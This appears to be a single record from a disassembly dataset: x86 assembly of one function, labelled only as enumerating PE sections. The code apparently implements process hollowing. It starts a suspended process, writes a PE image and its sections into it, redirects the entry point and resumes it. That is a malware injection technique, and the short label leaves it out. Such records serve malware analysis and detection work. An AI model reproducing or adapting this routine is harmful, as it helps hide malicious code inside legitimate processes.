Function at 0x4049f4
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffeb4
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov edi, eax
mov eax, dword [ebp - 4]
call fcn.00403e18
xor eax, eax
push ebp
push 0x404cbf
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x28], 8
xor eax, eax
mov dword [ebp - 0x24], eax
mov esi, 1
lea eax, [ebp - 0x3c]
mov ecx, dword [ebp - 0x24]
mov edx, 0x10
call fcn.00402f68
lea eax, [ebp - 0x80]
mov ecx, dword [ebp - 0x24]
mov edx, 0x44
call fcn.00402f68
mov dword [ebp - 0x80], 0x44
mov word [ebp - 0x50], 1
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x80]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00403e28
push eax
mov eax, dword [0x406c40]
mov eax, dword [eax]
call eax
test eax, eax
je 0x404ca9
mov byte [ebp - 0x1d], 1
xor eax, eax
push ebp
push 0x404ca2
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x14c], 0x10002
lea eax, [ebp - 0x14c]
push eax
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [0x406c54]
mov eax, dword [eax]
call eax
test eax, eax
je 0x404c6b
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xa8]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x28]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push eax
mov eax, dword [ebp - 0x3c]
push eax
mov eax, dword [0x406c9c]
mov eax, dword [eax]
call eax
test eax, eax
je 0x404c6b
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0x3c]
call fcn.004049cc
cmp eax, dword [ebp - 0x24]
jl 0x404c6b
test edi, edi
je 0x404c6b
mov eax, dword [edi + 0x3c]
add eax, edi
mov dword [ebp - 0x18], eax
push 4
push 0x3000
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x50]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x34]
push eax
mov eax, dword [ebp - 0x3c]
push eax
mov eax, dword [0x406c74]
mov eax, dword [eax]
call eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x404c6b
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax + 0x54]
push eax
push edi
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 0x3c]
push eax
mov eax, dword [0x406c28]
mov eax, dword [eax]
call eax
test eax, eax
je 0x404c6b
mov eax, dword [ebp - 0x18]
mov dx, word [eax + 0x14]
mov eax, dword [ebp - 0x18]
add eax, 0x18
call fcn.004049d8
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
movzx eax, word [eax + 6]
sub eax, esi
sub eax, ebx
jb 0x404c06
inc eax
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x10]
push eax
lea esi, [ebx + ebx*4]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + esi*8 + 0x10]
push eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + esi*8 + 0x14]
add eax, edi
push eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + esi*8 + 0xc]
add eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 0x3c]
push eax
mov eax, dword [0x406c28]
mov eax, dword [eax]
call eax
test eax, eax
je 0x404c00
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + esi*8 + 0x24]
call fcn.004049e8
push eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + esi*8 + 8]
push eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax + esi*8 + 0xc]
add eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 0x3c]
push eax
mov eax, dword [0x406c7c]
mov eax, dword [eax]
call eax
inc ebx
dec dword [ebp - 0x2c]
jne 0x404b9a
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xa8]
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0x28]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push eax
mov eax, dword [ebp - 0x3c]
push eax
mov eax, dword [0x406c28]
mov eax, dword [eax]
call eax
test eax, eax
je 0x404c6b
mov eax, dword [ebp - 0x18]
mov edx, dword [eax + 0x28]
mov eax, dword [ebp - 8]
call fcn.004049c4
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x14c]
push eax
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [0x406ce0]
mov eax, dword [eax]
call eax
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x1d], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404ca9
cmp byte [ebp - 0x1d], 0
jne 0x404c91
mov eax, dword [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x3c]
push eax
mov eax, dword [0x406cdc]
mov eax, dword [eax]
call eax
jmp 0x404c9e
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [0x406c20]
mov eax, dword [eax]
call eax
mov bl, byte [ebp - 0x1d]
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404cc6
lea eax, [ebp - 4]
call fcn.00403ab4
ret